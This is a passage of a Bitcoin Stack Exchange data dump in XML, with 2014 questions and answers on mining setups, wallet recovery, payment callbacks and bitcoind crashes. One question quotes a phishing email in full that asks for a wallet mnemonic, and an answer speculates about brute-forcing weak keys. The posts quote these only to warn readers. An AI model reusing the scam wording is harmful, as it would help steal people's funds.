rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, you should check &quot;Outbound rules&quot; in the same way.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-01-30T15:24:33.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21399" PostTypeId="1" AcceptedAnswerId="21461" CreationDate="2014-01-30T15:27:23.430" Score="2" ViewCount="1291" Body="&lt;p&gt;I have a RasPI running minepeon 0.2.5, a &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00008VFAF&quot; rel=&quot;nofollow&quot;&gt;DLINK USB Hub&lt;/a&gt; and a Red Fury USB ASIC Bitcoin Miner 2.2-2.7GH/Sec By BITFURY&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added my pool &lt;a href=&quot;https://ppcoin.d7.lt/&quot; rel=&quot;nofollow&quot;&gt;https://ppcoin.d7.lt/&lt;/a&gt; and things looked good except nothing is mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner states it's running but the device id is 0 and hashrate is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to start the miner manually in accordance to &lt;a href=&quot;https://ppcoin.d7.lt/getting-started&quot; rel=&quot;nofollow&quot;&gt;https://ppcoin.d7.lt/getting-started&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer -o stratum+tcp://stratum.d7.lt:3333 -u miner.1 -p 99999&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It starts up but states that the USB hub is busy, I see it testing the Red Fury but after that it still is not mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Posts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.peercointalk.org/index.php?topic=499.msg17709#msg17709&quot; rel=&quot;nofollow&quot;&gt;http://www.peercointalk.org/index.php?topic=499.msg17709#msg17709&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=251675.msg4841184#msg4841184&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=251675.msg4841184#msg4841184&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3290" LastEditorUserId="5406" LastEditDate="2016-04-25T20:42:59.083" LastActivityDate="2016-04-25T20:42:59.083" Title="USB hub busy when mining Peercoin with Red Fury ASIC running Minepeon" Tags="|mining-pools|miner-configuration|asic|peercoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21400" PostTypeId="2" ParentId="21391" CreationDate="2014-01-30T15:48:17.273" Score="3" Body="&lt;p&gt;This is a Unix date format. As I understand, you are using c#, so it will be look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static DateTime FromUnixTime(uint time)&#xA;{&#xA;    return new DateTime(1970, 1, 1).AddSeconds(time);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-01-30T15:48:17.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21401" PostTypeId="2" ParentId="21382" CreationDate="2014-01-30T16:57:23.123" Score="2" Body="&lt;p&gt;&lt;strong&gt;Update in 2020&lt;/strong&gt;: The Unicode 10.0 release included the Bitcoin symbol ₿ as U+20BF. For your computer to show the symbol in text, you may need to install a font that includes it. For Linux, one such font is &lt;a href=&quot;http://unifoundry.com/unifont/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GNU Unifont Glyphs&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;To my knowledge there doesn't yet exist a single symbol font representation of the B with two vertical lines, although it seems to be possible to compose it by combining a B and a double vertical stroke overlay: &lt;code&gt;B⃦&lt;/code&gt;. However, this doesn't display properly for me.&lt;/p&gt;&#xA;&lt;p&gt;Some people have been using &lt;code&gt;฿&lt;/code&gt; instead, however, this is actually the symbol for another currency, the &lt;a href=&quot;http://en.wikipedia.org/wiki/Thai_baht&quot; rel=&quot;nofollow noreferrer&quot;&gt;Thai Baht&lt;/a&gt;. There has also been some discussion that a B with two vertical lines doesn't distinguish well enough from the Baht symbol.&lt;/p&gt;&#xA;&lt;p&gt;One could also see &lt;code&gt;Ƀ&lt;/code&gt; being used, but its usage doesn't seem to be widespread.&lt;/p&gt;&#xA;&lt;p&gt;On Bitcoin.it one can find a comprehensive wikipage about the &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_symbol&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin-Symbol&lt;/a&gt;. Unfortunately, it has not been updated since August 2013.&lt;/p&gt;&#xA;&lt;p&gt;Until a proper unicode symbol is introduced, the best option for a disambiguous textual representations for Bitcoin might be one of either of the following.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC: A common abbreviation for Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;XBT: Proposed as standard currency representation in &lt;a href=&quot;http://en.wikipedia.org/wiki/ISO_4217&quot; rel=&quot;nofollow noreferrer&quot;&gt;ISO 4217&lt;/a&gt;, also see &lt;a href=&quot;http://www.coindesk.com/bitcoin-gaining-market-based-legitimacy-xbt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CoinDesk: Bitcoin gaining market-based legitimacy as XBT&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2020-08-02T17:08:32.243" LastActivityDate="2020-08-02T17:08:32.243" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="21402" PostTypeId="2" ParentId="21382" CreationDate="2014-01-30T17:01:50.537" Score="7" Body="&lt;p&gt;Like Murch said, there isn't a current text based symbol for it, but if you're going to use it on a web application, you can always use &lt;a href=&quot;http://fortawesome.github.io/Font-Awesome/icons/&quot; rel=&quot;noreferrer&quot;&gt;Font Awesome&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you include the fontawesome library, you use the bitcoin symbol like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;i class=&quot;fa fa-btc&quot;&amp;gt;&amp;lt;/i&amp;gt; fa-btc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example output of the code above would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r1tUR.png&quot; alt=&quot;Example output would be like this&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more information regarding fontawesome bitcoin symbol documentation &lt;a href=&quot;http://fortawesome.github.io/Font-Awesome/icon/btc/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12809" LastEditorUserId="12809" LastEditDate="2014-01-30T17:18:09.210" LastActivityDate="2014-01-30T17:18:09.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21403" PostTypeId="1" CreationDate="2014-01-30T17:04:57.747" Score="1" ViewCount="613" Body="&lt;p&gt;I have a R9 280x Toxic edititon and I've set up cgminer with latest catalyst on ubuntu 12.04.3 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the thing is, if I run cg miner like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer --scrypt  -o stratum+tcp://url:3333 -u a.b -p c -I 13 -g 2 -w 256 --shaders 4096&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does not accept anything - &lt;code&gt;A:0   R:0&lt;/code&gt;   even after a few minutes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I run it with - shaders reduced by half&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer --scrypt  -o stratum+tcp://url:3333 -u a.b -p c -I 13 -g 2 -w 256 --shaders 2048&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will start accepting almost immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is, with 2048 shaders my hash rate is 480 kH/s, but with 4096 shaders I get up to 770 kH/s&lt;/p&gt;&#xA;" OwnerUserId="12887" LastActivityDate="2014-01-30T17:04:57.747" Title="cgminer not accepting or rejecting" Tags="|cgminer|scrypt|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21404" PostTypeId="2" ParentId="21395" CreationDate="2014-01-30T17:13:33.070" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/de/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/de/api/api_receive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you get a new bitcoin-adress from blockchain and on the same way you send them a callback url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new bitcoin-adress you can send your custormer to pay&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blockchain.info calls your callback procedure every time something changed in the payment-process. First time, when the customer send your bitcoins. In the Parameters you can find the amount of Bitcoins (in Satoshi = 1/100.000.000 BTC) and the number of confimations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Number of confirmations counting up every call from blockchain.ino to your callback procedure. The calls  don't stop until you return &lt;em&gt;ok&lt;/em&gt;...!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you think you have enough confirmations you can mark your Payment as done and return &lt;em&gt;ok&lt;/em&gt; The bitcoins booked on the bitcoin-address ($my_address) you send to blockchain.info in the first call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This are only a few statements as you see in my link at hte beginning of my text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blockchain.info calls your callbackprocedure with its own parameters and returns the parameter you send to blockchain.info. For this you can (not must) send your secret key. So you can detect spam-calls to your callback-funktion from other persons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards heinz&#xA;www.btcloc.com&lt;/p&gt;&#xA;" OwnerUserId="12889" LastActivityDate="2014-01-30T17:13:33.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21406" PostTypeId="1" CreationDate="2014-01-30T17:35:41.477" Score="3" ViewCount="1909" Body="&lt;p&gt;I'm trying to run bitcoind on an AWS debian instance. Running with the &lt;code&gt;-daemon&lt;/code&gt; option would terminate with no indication as to why so I decided to run it under a &lt;code&gt;screen&lt;/code&gt;. I started it last night (without options) and disconnected from the screen and verified that it was working. This morning the server had stopped so I reconnected to the screen session it was running on and the only message bitcoind gave was &quot;Killed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing in the logs that seems to indicate how or why this is happening and I'm at a bit of a loss. Can anyone give me some recommendations or insight on how to determine the cause of the issue?&lt;/p&gt;&#xA;" OwnerUserId="12798" LastActivityDate="2022-01-07T17:13:19.330" Title="Bitcoind daemon keeps getting &quot;killed&quot; on AWS" Tags="|bitcoind|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21407" PostTypeId="1" CreationDate="2014-01-30T17:46:45.650" Score="2" ViewCount="301" Body="&lt;p&gt;While mucking about with Bitcoin a couple years ago, I setup a Bitcoin address and added a couple bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the Bitcoin address and possibly a private key, but I cant remember how or where I set it up.&#xA;Using blockchain I can see the wallet and its contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to access the wallet and retrieve the coins?&lt;/p&gt;&#xA;" OwnerUserId="12894" LastEditorUserId="5406" LastEditDate="2014-02-02T11:13:59.010" LastActivityDate="2014-02-02T11:13:59.010" Title="Is it possible to retrieve bitcoins from a Bitcoin address and possibly a private key?" Tags="|wallet|private-key|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21408" PostTypeId="2" ParentId="21407" CreationDate="2014-01-30T17:58:36.383" Score="2" Body="&lt;p&gt;If you have a private key, you just need to import it into your client. After that you'll get access to your coins from the old wallet.&lt;/p&gt;&#xA;" OwnerUserId="12224" LastActivityDate="2014-01-30T17:58:36.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21410" PostTypeId="1" AcceptedAnswerId="21682" CreationDate="2014-01-30T18:05:20.413" Score="1" ViewCount="7186" Body="&lt;p&gt;I'm fairly new to bitcoin and mining and am currently using a very restrictive ISP(port forwarding is not permitted). Therefore, it is not possible to connect to the bitcoin network(port 8333 is blocked). I also have a work station, in a different network, which doesn't share the above limitation.&#xA;I am using ubuntu 12.04 and went for the OpenVPN package. I can connect to the remote machine but don't know how to route mining traffic through it. Also, I don't want to delegate mining tasks to the remote box as it is a low end machine. &#xA;Is mining through a VPN tunnel possible in this context?&lt;/p&gt;&#xA;" OwnerUserId="12893" LastEditorUserId="5406" LastEditDate="2016-04-24T09:11:30.437" LastActivityDate="2016-04-24T09:11:30.437" Title="Bitcoin Mining Through VPN" Tags="|bitcoind|miner-configuration|ubuntu|server|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21411" PostTypeId="2" ParentId="21395" CreationDate="2014-01-30T18:05:38.633" Score="2" Body="&lt;p&gt;Might be wise to wait until 3 or 4 new blocks have been created (after payment detected) before assuming the transaction to be trustworthy.&lt;/p&gt;&#xA;" OwnerUserId="12896" LastActivityDate="2014-01-30T18:05:38.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21413" PostTypeId="1" AcceptedAnswerId="21415" CreationDate="2014-01-30T19:42:00.773" Score="3" ViewCount="15531" Body="&lt;p&gt;Today, I recieved this scam email:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We have reached the biggest milestone in our history – over a million wallets.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;https://[removed] will celebrate with some big prizes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In October 2013, the lucky user who created the 500,000th wallet was rewarded with 10 BTC.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Read more about this: http://[removed]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We have discovered that you created the wallet with number 1.000.000&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[removed] want to reward you with 50 BTC.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To prove that you are the rightful owner of the lucky wallet,&#xA;     please reply to this email and send us your mnemonic ( the long string of words generated randomly when your account was created)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;After verification, your wallet will be credited instantly with the 50 BTC.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thank you that you have chosen https://[removed]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am guessing this is a scam as (a) it was sent to two separate email addresses I have, (b) the sender's email is in no way affiliated to the websites listed in the email and (c) I don't think anyone is willing to just give away 50 BTC which is close to $42,000 USD. I was wondering if I were to give them my Bitcoin address, what would happen next? Would they be able to use it like a credit card number? Or would they just be asking for more personal information?&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="132" LastEditDate="2014-02-02T17:59:04.150" LastActivityDate="2021-10-07T11:10:53.203" Title="Should you protect your Bitcoin address like your credit card number?" Tags="|client|address|fraud|phishing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21414" PostTypeId="2" ParentId="21413" CreationDate="2014-01-30T20:02:38.093" Score="-1" Body="&lt;p&gt;Giving away your public address wouldn't be the same as giving away your credit card. But what I think the sender of this email is might be trying to do is the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Collect BTC loaded public addresses.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/3170/12809&quot;&gt;Run (with brute force) common phrases, or even with common words to crack it&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Collect any BTC with addresses which have weak private keys.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If I would have done this, I would have used &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow noreferrer&quot;&gt;vanitygen&lt;/a&gt; to verify the common passwords (private keys), against the public addresses. Given that you can check 60k-300k private keys per second (with an i5 core), it'll be fairly easy to check all of the submitted addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Besir&lt;/p&gt;&#xA;" OwnerUserId="12809" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-01-30T20:02:38.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21415" PostTypeId="2" ParentId="21413" CreationDate="2014-01-30T20:03:24.877" Score="12" Body="&lt;p&gt;A bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow noreferrer&quot;&gt;address&lt;/a&gt; is not like a credit card number. You can safely give your bitcoin address out publicly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the email is asking for is something you should &lt;strong&gt;never&lt;/strong&gt; give out publicly: the mnemonic that you use (e.g. if you use &lt;a href=&quot;https://electrum.org/seed.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum&lt;/a&gt;, they have a 12-word mnemonic code), from which you can calculate your private keys. With this, they can easily steal all bitcoins on any address that was generated using that mnemonic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they actually wanted to know that you are the owner of an address, they could ask you to &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3337/12034&quot;&gt;sign a message&lt;/a&gt;. There's not normally much of a reason to do this, though: I don't see a scenario in which a signed message is needed in order to give you money, instead of just the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they actually just wanted to send you money (as they claim), all they need is your address.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-01-30T20:09:40.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21416" PostTypeId="2" ParentId="21410" CreationDate="2014-01-30T20:49:36.837" Score="0" Body="&lt;p&gt;Yup.  Most of the common VPN services would work with it, it's a normal TCP/UDP sort of system.  I use torguard VPN, but I think most would work.&lt;/p&gt;&#xA;" OwnerUserId="12558" LastActivityDate="2014-01-30T20:49:36.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21417" PostTypeId="2" ParentId="21406" CreationDate="2014-01-30T20:55:26.257" Score="4" Body="&lt;p&gt;Configure some swap space, you are probably running out of memory, check with &lt;code&gt;dmesg&lt;/code&gt; on your instance for additional information.&lt;/p&gt;&#xA;" OwnerUserId="12901" LastEditorUserId="12901" LastEditDate="2022-01-07T17:13:19.330" LastActivityDate="2022-01-07T17:13:19.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21418" PostTypeId="2" ParentId="21395" CreationDate="2014-01-30T21:27:44.207" Score="4" Body="&lt;p&gt;If you're going to be running bitcoind, what you're looking for is the walletnotify &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;configuration setting&lt;/a&gt; in bitcoin.conf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you enable walletnotify, you run an app like curl to post the data to a web page.  The data that you'll receive is the transaction id of an incoming transaction for an address in your wallet.  From that you can use bitcoind's json-rpc commands to get the address that received the transaction as well as other transaction details like the amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Walletnotify will execute twice.  It will execute the first time that a transaction appears, and then will get called again when a block is published that includes the transaction. You can use either or both of these notifications depending on your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the curl command that I use in walletnofify.  You should make any changes for your own environment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -X POST -H &quot;Content-Type:application/json&quot; -d '{&quot;transactionId&quot;:&quot;%s&quot;}' http://127.0.0.1:81/api/v1/transactions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-01-30T21:27:44.207" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21419" PostTypeId="1" CreationDate="2014-01-30T22:40:33.473" Score="4" ViewCount="631" Body="&lt;p&gt;I generated a new receiving address on CoinBase so that someone can send me BTC.  I immediately searched the address on blockchain.info and was quite surprised to see that it already had many transactions going back several months!  What is coinbase doing?  Why don't they give me a brand new address?  How can they keep track of what account to credit if they give multiple customers the same receiving address?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-01-31T06:27:12.677" Title="coinbase receiving addresses reused!" Tags="|coinbase.com|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21420" PostTypeId="2" ParentId="21406" CreationDate="2014-01-30T23:19:09.577" Score="0" Body="&lt;p&gt;If you are downloading the blockchain you will likely run out of hard drive space.  Most default instances start with only 8 GB of storage.  SSH into the box and check disk utilization.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;df -h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-01-30T23:19:09.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21421" PostTypeId="1" AcceptedAnswerId="21623" CreationDate="2014-01-30T23:53:48.833" Score="2" ViewCount="1559" Body="&lt;p&gt;Is it beneficial to connect your *coind instance to multiple supernodes?  Or Should I connect to more than the 8 standard peers?  Does this potentially improve the amount that could be earned in transaction fees or make found blocks distributed to the network any faster?&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="5406" LastEditDate="2016-04-25T20:42:43.800" LastActivityDate="2016-04-25T20:42:43.800" Title="When running a mining pool how many (super)nodes should I connect to?" Tags="|mining-pools|miner-configuration|nodes|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21422" PostTypeId="1" CreationDate="2014-01-31T01:08:19.203" Score="2" ViewCount="2066" Body="&lt;p&gt;I've got other Antminers working, this one just throws these errors in debug mode - is this fixable?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-01-30 19:03:10] Bmsc send golden nonce&#xA;[2014-01-30 19:03:10] ANT0: GetResults (amt=0 err=-7 ern=110)&#xA;[2014-01-30 19:03:10] Bmsc Read: No data for 101 ms&#xA;[2014-01-30 19:03:10] Bmsc recv golden nonce timeout&#xA;[2014-01-30 19:03:10] USB uninit ANT0&#xA;[2014-01-30 19:03:10] USB free ANT&#xA;[2014-01-30 19:03:10] USB unlock Bitmain 1-5&#xA;[2014-01-30 19:03:10] RES: Bitmain (1:5) lock=0&#xA;[2014-01-30 19:03:10] USB res unlock Bitmain 1-5&#xA;[2014-01-30 19:03:10] BTM looking for ANT 10c4:ea60 but found 0e0f:0003 instead&#xA;[2014-01-30 19:03:10] BTM looking for ANT 10c4:ea60 but found 0e0f:0002 instead&#xA;[2014-01-30 19:03:10] BTM looking for ANT 10c4:ea60 but found 1d6b:0002 instead&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running cgminer 3.9.0 from the fractal branch, though all the versions that support the antminer-u1 seem to have the same results, so I don't think it's necessarily the miner software.  I'm running with these options to underclock:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--bmsc-options 115200:20  --bmsc-freq 0681 -D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12558" LastEditorUserId="942" LastEditDate="2016-08-10T06:43:59.780" LastActivityDate="2024-03-21T18:08:51.097" Title="Problems with Antminer U1 - why doesn't it work?" Tags="|asic|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21424" PostTypeId="2" ParentId="19550" CreationDate="2014-01-31T01:19:13.570" Score="1" Body="&lt;p&gt;I had the exact same thing happen to my Coinbase account. I did use the two part authentication and did not enable the api key. however the api key was enabled. Coinbase does nothing and says I logged into to a coinbase phishing site, but I only logged into coinbase from my bookmarked link. &lt;/p&gt;&#xA;" OwnerUserId="12911" LastActivityDate="2014-01-31T01:19:13.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21427" PostTypeId="1" CreationDate="2014-01-31T05:09:09.603" Score="6" ViewCount="28156" Body="&lt;p&gt;If you and a recipient both have a wallet on a flash drive, is it then possible to transfer bitcoins from one wallet to the other using a computer without going through the web? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example in life: &quot;Here you go nephew, I'll give you 5 bitcoins for your birthday.&quot; Then we go to the computer with our wallets and transfer the funds, without waiting for people to decrypt bits and pieces of it across the web, just relying on the local computer.&lt;/p&gt;&#xA;" OwnerUserId="4441" LastEditorUserId="5406" LastEditDate="2014-01-31T14:20:03.667" LastActivityDate="2018-01-09T16:22:49.617" Title="Can you transfer Bitcoins from one address to another address directly without going through the web?" Tags="|address|money-transfer|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21428" PostTypeId="1" CreationDate="2014-01-31T05:26:26.093" Score="7" ViewCount="5715" Body="&lt;p&gt;I have some experiments I want to do for creating my own coin. I've seen stuff like coingen.io but I want to do it myself. I also will be messing with other things like the hashing algorithm. Are there any resources out there that gives a bit of guidance through this process? The best I've got so far is taking the dogecoin(or any other altcoin) first commit and comparing to the litecoin source. But this didn't produce very good results for me&lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2020-09-16T14:36:56.360" Title="Are there any resources for creating your own coin?" Tags="|alternatives|" AnswerCount="6" CommentCount="1" ClosedDate="2020-09-18T18:29:20.147" ContentLicense="CC BY-SA 3.0" />
  <row Id="21429" PostTypeId="2" ParentId="21427" CreationDate="2014-01-31T05:35:24.567" Score="3" Body="&lt;p&gt;No, this is not how bitcoin works. Bitcoins don't really &quot;exist&quot; per se. Bitcoins are just an abstraction from the public ledger, or blockchain. So basically when you mine, the blockchain has a built in mechanism for rewarding miners. This is where the initial money comes from. When those miners give someone else bitcoins, those people don't &quot;own&quot; the bitcoin in their wallet. They only have control of the bitcoin because the blockchain says that they do. All that is stored in your wallet (mostly) is a public and private key. &lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2014-01-31T05:35:24.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21430" PostTypeId="2" ParentId="21428" CreationDate="2014-01-31T05:50:53.627" Score="1" Body="&lt;p&gt;You may refer to smallchange which can be found here &lt;a href=&quot;https://github.com/bfroemel/smallchange/commit/947a0fafd8d033f6f0960c4ff0748f76a3d58326&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bfroemel/smallchange/commit/947a0fafd8d033f6f0960c4ff0748f76a3d58326&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-31T05:50:53.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21432" PostTypeId="1" CreationDate="2014-01-31T06:08:42.013" Score="1" ViewCount="203" Body="&lt;p&gt;I want to meet with someone in person to buy an item with bitcoin. What's the best way to go about this transaction?&lt;/p&gt;&#xA;" OwnerUserId="12918" LastActivityDate="2014-01-31T06:58:57.957" Title="How do I buy something from someone with bitcoin?" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21433" PostTypeId="2" ParentId="21419" CreationDate="2014-01-31T06:27:12.677" Score="1" Body="&lt;p&gt;It's likely that only used the address internally, so it was not assigned to a customer. I would expect that from here on out until forever, whenever coins are sent to this address, it will credit your account.&lt;/p&gt;&#xA;" OwnerUserId="12919" LastActivityDate="2014-01-31T06:27:12.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21434" PostTypeId="1" CreationDate="2014-01-31T06:38:28.957" Score="1" ViewCount="373" Body="&lt;p&gt;Im interested in other scrypt based coins other than Litecoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that most of these coins have no documentation. So is it safe to assume that I can follow the Litecoin documentation if I have a question about a function or feature of said other scrypt based coin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I cant find anything about using PHP and doing transactions with Litecoins or any other coins (just javascript). Can anybody point me to some examples of how to do things like create wallets, send and receive transactions, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12920" LastActivityDate="2015-03-15T16:31:02.413" Title="AltCoins based on Scrypt - How to do transactions with PHP?" Tags="|litecoin|scrypt|altcoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
